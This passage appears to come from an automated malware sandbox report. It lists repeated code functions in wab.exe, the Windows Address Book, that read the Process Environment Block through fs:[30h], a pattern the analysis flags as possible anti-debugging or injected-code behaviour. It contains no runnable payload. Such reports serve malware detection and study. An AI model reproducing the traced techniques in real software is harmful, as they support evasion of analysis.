Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E15A9 mov eax, dword ptr fs:[00000030h] 12_2_246E15A9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E15A9 mov eax, dword ptr fs:[00000030h] 12_2_246E15A9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E15A9 mov eax, dword ptr fs:[00000030h] 12_2_246E15A9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2477F5BE mov eax, dword ptr fs:[00000030h] 12_2_2477F5BE
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247535BA mov eax, dword ptr fs:[00000030h] 12_2_247535BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247535BA mov eax, dword ptr fs:[00000030h] 12_2_247535BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247535BA mov eax, dword ptr fs:[00000030h] 12_2_247535BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247535BA mov eax, dword ptr fs:[00000030h] 12_2_247535BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247405A7 mov eax, dword ptr fs:[00000030h] 12_2_247405A7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247405A7 mov eax, dword ptr fs:[00000030h] 12_2_247405A7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247405A7 mov eax, dword ptr fs:[00000030h] 12_2_247405A7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EF5B0 mov eax, dword ptr fs:[00000030h] 12_2_246EF5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EF5B0 mov eax, dword ptr fs:[00000030h] 12_2_246EF5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EF5B0 mov eax, dword ptr fs:[00000030h] 12_2_246EF5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EF5B0 mov eax, dword ptr fs:[00000030h] 12_2_246EF5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EF5B0 mov eax, dword ptr fs:[00000030h] 12_2_246EF5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EF5B0 mov eax, dword ptr fs:[00000030h] 12_2_246EF5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EF5B0 mov eax, dword ptr fs:[00000030h] 12_2_246EF5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EF5B0 mov eax, dword ptr fs:[00000030h] 12_2_246EF5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EF5B0 mov eax, dword ptr fs:[00000030h] 12_2_246EF5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E45B1 mov eax, dword ptr fs:[00000030h] 12_2_246E45B1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E45B1 mov eax, dword ptr fs:[00000030h] 12_2_246E45B1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474B594 mov eax, dword ptr fs:[00000030h] 12_2_2474B594
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474B594 mov eax, dword ptr fs:[00000030h] 12_2_2474B594
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B758F mov eax, dword ptr fs:[00000030h] 12_2_246B758F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B758F mov eax, dword ptr fs:[00000030h] 12_2_246B758F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B758F mov eax, dword ptr fs:[00000030h] 12_2_246B758F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F4588 mov eax, dword ptr fs:[00000030h] 12_2_246F4588
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C2582 mov eax, dword ptr fs:[00000030h] 12_2_246C2582
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C2582 mov ecx, dword ptr fs:[00000030h] 12_2_246C2582
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FE59C mov eax, dword ptr fs:[00000030h] 12_2_246FE59C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FA660 mov eax, dword ptr fs:[00000030h] 12_2_246FA660
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FA660 mov eax, dword ptr fs:[00000030h] 12_2_246FA660
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F9660 mov eax, dword ptr fs:[00000030h] 12_2_246F9660
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F9660 mov eax, dword ptr fs:[00000030h] 12_2_246F9660
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478866E mov eax, dword ptr fs:[00000030h] 12_2_2478866E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478866E mov eax, dword ptr fs:[00000030h] 12_2_2478866E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F2674 mov eax, dword ptr fs:[00000030h] 12_2_246F2674
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DC640 mov eax, dword ptr fs:[00000030h] 12_2_246DC640
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C262C mov eax, dword ptr fs:[00000030h] 12_2_246C262C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DE627 mov eax, dword ptr fs:[00000030h] 12_2_246DE627
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF626 mov eax, dword ptr fs:[00000030h] 12_2_246BF626
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF626 mov eax, dword ptr fs:[00000030h] 12_2_246BF626
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF626 mov eax, dword ptr fs:[00000030h] 12_2_246BF626
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF626 mov eax, dword ptr fs:[00000030h] 12_2_246BF626
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF626 mov eax, dword ptr fs:[00000030h] 12_2_246BF626
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF626 mov eax, dword ptr fs:[00000030h] 12_2_246BF626
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF626 mov eax, dword ptr fs:[00000030h] 12_2_246BF626
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF626 mov eax, dword ptr fs:[00000030h] 12_2_246BF626
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF626 mov eax, dword ptr fs:[00000030h] 12_2_246BF626
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F6620 mov eax, dword ptr fs:[00000030h] 12_2_246F6620
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24795636 mov eax, dword ptr fs:[00000030h] 12_2_24795636
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F8620 mov eax, dword ptr fs:[00000030h] 12_2_246F8620
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D260B mov eax, dword ptr fs:[00000030h] 12_2_246D260B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D260B mov eax, dword ptr fs:[00000030h] 12_2_246D260B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D260B mov eax, dword ptr fs:[00000030h] 12_2_246D260B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D260B mov eax, dword ptr fs:[00000030h] 12_2_246D260B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D260B mov eax, dword ptr fs:[00000030h] 12_2_246D260B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D260B mov eax, dword ptr fs:[00000030h] 12_2_246D260B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D260B mov eax, dword ptr fs:[00000030h] 12_2_246D260B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F1607 mov eax, dword ptr fs:[00000030h] 12_2_246F1607
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702619 mov eax, dword ptr fs:[00000030h] 12_2_24702619
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FF603 mov eax, dword ptr fs:[00000030h] 12_2_246FF603
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2473E609 mov eax, dword ptr fs:[00000030h] 12_2_2473E609
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C3616 mov eax, dword ptr fs:[00000030h] 12_2_246C3616
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C3616 mov eax, dword ptr fs:[00000030h] 12_2_246C3616
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F36EF mov eax, dword ptr fs:[00000030h] 12_2_246F36EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2473E6F2 mov eax, dword ptr fs:[00000030h] 12_2_2473E6F2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2473E6F2 mov eax, dword ptr fs:[00000030h] 12_2_2473E6F2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2473E6F2 mov eax, dword ptr fs:[00000030h] 12_2_2473E6F2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2473E6F2 mov eax, dword ptr fs:[00000030h] 12_2_2473E6F2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247406F1 mov eax, dword ptr fs:[00000030h] 12_2_247406F1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247406F1 mov eax, dword ptr fs:[00000030h] 12_2_247406F1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2477D6F0 mov eax, dword ptr fs:[00000030h] 12_2_2477D6F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246ED6E0 mov eax, dword ptr fs:[00000030h] 12_2_246ED6E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246ED6E0 mov eax, dword ptr fs:[00000030h] 12_2_246ED6E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247536EE mov eax, dword ptr fs:[00000030h] 12_2_247536EE
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247536EE mov eax, dword ptr fs:[00000030h] 12_2_247536EE
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247536EE mov eax, dword ptr fs:[00000030h] 12_2_247536EE
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247536EE mov eax, dword ptr fs:[00000030h] 12_2_247536EE
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247536EE mov eax, dword ptr fs:[00000030h] 12_2_247536EE
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247536EE mov eax, dword ptr fs:[00000030h] 12_2_247536EE
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F16CF mov eax, dword ptr fs:[00000030h] 12_2_246F16CF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FA6C7 mov ebx, dword ptr fs:[00000030h] 12_2_246FA6C7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FA6C7 mov eax, dword ptr fs:[00000030h] 12_2_246FA6C7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CB6C0 mov eax, dword ptr fs:[00000030h] 12_2_246CB6C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CB6C0 mov eax, dword ptr fs:[00000030h] 12_2_246CB6C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CB6C0 mov eax, dword ptr fs:[00000030h] 12_2_246CB6C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CB6C0 mov eax, dword ptr fs:[00000030h] 12_2_246CB6C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CB6C0 mov eax, dword ptr fs:[00000030h] 12_2_246CB6C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CB6C0 mov eax, dword ptr fs:[00000030h] 12_2_246CB6C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2477F6C7 mov eax, dword ptr fs:[00000030h] 12_2_2477F6C7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247816CC mov eax, dword ptr fs:[00000030h] 12_2_247816CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247816CC mov eax, dword ptr fs:[00000030h] 12_2_247816CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247816CC mov eax, dword ptr fs:[00000030h] 12_2_247816CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247816CC mov eax, dword ptr fs:[00000030h] 12_2_247816CC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BD6AA mov eax, dword ptr fs:[00000030h] 12_2_246BD6AA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BD6AA mov eax, dword ptr fs:[00000030h] 12_2_246BD6AA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FC6A6 mov eax, dword ptr fs:[00000030h] 12_2_246FC6A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B76B2 mov eax, dword ptr fs:[00000030h] 12_2_246B76B2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B76B2 mov eax, dword ptr fs:[00000030h] 12_2_246B76B2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B76B2 mov eax, dword ptr fs:[00000030h] 12_2_246B76B2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F66B0 mov eax, dword ptr fs:[00000030h] 12_2_246F66B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474368C mov eax, dword ptr fs:[00000030h] 12_2_2474368C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474368C mov eax, dword ptr fs:[00000030h] 12_2_2474368C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474368C mov eax, dword ptr fs:[00000030h] 12_2_2474368C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474368C mov eax, dword ptr fs:[00000030h] 12_2_2474368C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C4690 mov eax, dword ptr fs:[00000030h] 12_2_246C4690
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C4690 mov eax, dword ptr fs:[00000030h] 12_2_246C4690
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BB765 mov eax, dword ptr fs:[00000030h] 12_2_246BB765
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BB765 mov eax, dword ptr fs:[00000030h] 12_2_246BB765
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BB765 mov eax, dword ptr fs:[00000030h] 12_2_246BB765
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BB765 mov eax, dword ptr fs:[00000030h] 12_2_246BB765
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C8770 mov eax, dword ptr fs:[00000030h] 12_2_246C8770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0770 mov eax, dword ptr fs:[00000030h] 12_2_246D0770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0770 mov eax, dword ptr fs:[00000030h] 12_2_246D0770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0770 mov eax, dword ptr fs:[00000030h] 12_2_246D0770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0770 mov eax, dword ptr fs:[00000030h] 12_2_246D0770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0770 mov eax, dword ptr fs:[00000030h] 12_2_246D0770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0770 mov eax, dword ptr fs:[00000030h] 12_2_246D0770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0770 mov eax, dword ptr fs:[00000030h] 12_2_246D0770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0770 mov eax, dword ptr fs:[00000030h] 12_2_246D0770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0770 mov eax, dword ptr fs:[00000030h] 12_2_246D0770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0770 mov eax, dword ptr fs:[00000030h] 12_2_246D0770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0770 mov eax, dword ptr fs:[00000030h] 12_2_246D0770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D0770 mov eax, dword ptr fs:[00000030h] 12_2_246D0770
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702750 mov eax, dword ptr fs:[00000030h] 12_2_24702750
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24702750 mov eax, dword ptr fs:[00000030h] 12_2_24702750
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24744755 mov eax, dword ptr fs:[00000030h] 12_2_24744755
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F674D mov esi, dword ptr fs:[00000030h] 12_2_246F674D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F674D mov eax, dword ptr fs:[00000030h] 12_2_246F674D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F674D mov eax, dword ptr fs:[00000030h] 12_2_246F674D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D3740 mov eax, dword ptr fs:[00000030h] 12_2_246D3740
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D3740 mov eax, dword ptr fs:[00000030h] 12_2_246D3740
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D3740 mov eax, dword ptr fs:[00000030h] 12_2_246D3740
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24793749 mov eax, dword ptr fs:[00000030h] 12_2_24793749
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C0750 mov eax, dword ptr fs:[00000030h] 12_2_246C0750
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2473C730 mov eax, dword ptr fs:[00000030h] 12_2_2473C730
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2479B73C mov eax, dword ptr fs:[00000030h] 12_2_2479B73C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2479B73C mov eax, dword ptr fs:[00000030h] 12_2_2479B73C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2479B73C mov eax, dword ptr fs:[00000030h] 12_2_2479B73C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2479B73C mov eax, dword ptr fs:[00000030h] 12_2_2479B73C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C3720 mov eax, dword ptr fs:[00000030h] 12_2_246C3720
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DF720 mov eax, dword ptr fs:[00000030h] 12_2_246DF720
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DF720 mov eax, dword ptr fs:[00000030h] 12_2_246DF720
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246DF720 mov eax, dword ptr fs:[00000030h] 12_2_246DF720
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FC720 mov eax, dword ptr fs:[00000030h] 12_2_246FC720
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FC720 mov eax, dword ptr fs:[00000030h] 12_2_246FC720
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F273C mov eax, dword ptr fs:[00000030h] 12_2_246F273C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F273C mov ecx, dword ptr fs:[00000030h] 12_2_246F273C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F273C mov eax, dword ptr fs:[00000030h] 12_2_246F273C
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2478972B mov eax, dword ptr fs:[00000030h] 12_2_2478972B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C973A mov eax, dword ptr fs:[00000030h] 12_2_246C973A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C973A mov eax, dword ptr fs:[00000030h] 12_2_246C973A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2477F72E mov eax, dword ptr fs:[00000030h] 12_2_2477F72E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B9730 mov eax, dword ptr fs:[00000030h] 12_2_246B9730
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246B9730 mov eax, dword ptr fs:[00000030h] 12_2_246B9730
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F5734 mov eax, dword ptr fs:[00000030h] 12_2_246F5734
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C5702 mov eax, dword ptr fs:[00000030h] 12_2_246C5702
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C5702 mov eax, dword ptr fs:[00000030h] 12_2_246C5702
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C7703 mov eax, dword ptr fs:[00000030h] 12_2_246C7703
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FC700 mov eax, dword ptr fs:[00000030h] 12_2_246FC700
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FF71F mov eax, dword ptr fs:[00000030h] 12_2_246FF71F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246FF71F mov eax, dword ptr fs:[00000030h] 12_2_246FF71F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C0710 mov eax, dword ptr fs:[00000030h] 12_2_246C0710
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246F0710 mov eax, dword ptr fs:[00000030h] 12_2_246F0710
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E27ED mov eax, dword ptr fs:[00000030h] 12_2_246E27ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E27ED mov eax, dword ptr fs:[00000030h] 12_2_246E27ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246E27ED mov eax, dword ptr fs:[00000030h] 12_2_246E27ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CD7E0 mov ecx, dword ptr fs:[00000030h] 12_2_246CD7E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C47FB mov eax, dword ptr fs:[00000030h] 12_2_246C47FB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C47FB mov eax, dword ptr fs:[00000030h] 12_2_246C47FB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246CC7C0 mov eax, dword ptr fs:[00000030h] 12_2_246CC7C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C57C0 mov eax, dword ptr fs:[00000030h] 12_2_246C57C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C57C0 mov eax, dword ptr fs:[00000030h] 12_2_246C57C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C57C0 mov eax, dword ptr fs:[00000030h] 12_2_246C57C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246C07AF mov eax, dword ptr fs:[00000030h] 12_2_246C07AF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247937B6 mov eax, dword ptr fs:[00000030h] 12_2_247937B6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF7BA mov eax, dword ptr fs:[00000030h] 12_2_246BF7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF7BA mov eax, dword ptr fs:[00000030h] 12_2_246BF7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF7BA mov eax, dword ptr fs:[00000030h] 12_2_246BF7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF7BA mov eax, dword ptr fs:[00000030h] 12_2_246BF7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF7BA mov eax, dword ptr fs:[00000030h] 12_2_246BF7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF7BA mov eax, dword ptr fs:[00000030h] 12_2_246BF7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF7BA mov eax, dword ptr fs:[00000030h] 12_2_246BF7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF7BA mov eax, dword ptr fs:[00000030h] 12_2_246BF7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246BF7BA mov eax, dword ptr fs:[00000030h] 12_2_246BF7BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474F7AF mov eax, dword ptr fs:[00000030h] 12_2_2474F7AF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474F7AF mov eax, dword ptr fs:[00000030h] 12_2_2474F7AF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474F7AF mov eax, dword ptr fs:[00000030h] 12_2_2474F7AF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474F7AF mov eax, dword ptr fs:[00000030h] 12_2_2474F7AF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2474F7AF mov eax, dword ptr fs:[00000030h] 12_2_2474F7AF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_247497A9 mov eax, dword ptr fs:[00000030h] 12_2_247497A9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246ED7B0 mov eax, dword ptr fs:[00000030h] 12_2_246ED7B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2477F78A mov eax, dword ptr fs:[00000030h] 12_2_2477F78A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_24795060 mov eax, dword ptr fs:[00000030h] 12_2_24795060
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D1070 mov eax, dword ptr fs:[00000030h] 12_2_246D1070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D1070 mov ecx, dword ptr fs:[00000030h] 12_2_246D1070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D1070 mov eax, dword ptr fs:[00000030h] 12_2_246D1070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D1070 mov eax, dword ptr fs:[00000030h] 12_2_246D1070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D1070 mov eax, dword ptr fs:[00000030h] 12_2_246D1070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D1070 mov eax, dword ptr fs:[00000030h] 12_2_246D1070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D1070 mov eax, dword ptr fs:[00000030h] 12_2_246D1070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D1070 mov eax, dword ptr fs:[00000030h] 12_2_246D1070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D1070 mov eax, dword ptr fs:[00000030h] 12_2_246D1070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D1070 mov eax, dword ptr fs:[00000030h] 12_2_246D1070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D1070 mov eax, dword ptr fs:[00000030h] 12_2_246D1070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D1070 mov eax, dword ptr fs:[00000030h] 12_2_246D1070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246D1070 mov eax, dword ptr fs:[00000030h] 12_2_246D1070
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_246EC073 mov eax, dword ptr fs:[00000030h] 12_2_246EC073
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476705E mov ebx, dword ptr fs:[00000030h] 12_2_2476705E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 12_2_2476705E mov eax, dword ptr fs:[00000030h] 12_2_2476705E
